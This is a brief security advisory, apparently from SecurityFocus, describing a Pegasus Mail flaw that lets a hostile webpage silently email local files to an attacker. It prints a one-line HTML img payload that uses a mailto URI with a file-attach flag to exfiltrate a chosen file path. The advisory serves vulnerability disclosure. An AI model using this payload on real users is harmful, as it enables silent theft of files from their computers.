source: http://www.securityfocus.com/bid/1738/info

It is possible for a malicious website operator to obtain copies of known files on a remote system if a website visitor is running Pegasus Mail client.

If the following code were to be inserted into a HTML document and a user were to load that particular webpage, the local file would be automatically sent from the Pegasus Mail client to the email address specified without any prior warning:

<img sr c="mailto:[email protected] -F c:\path\file.ext">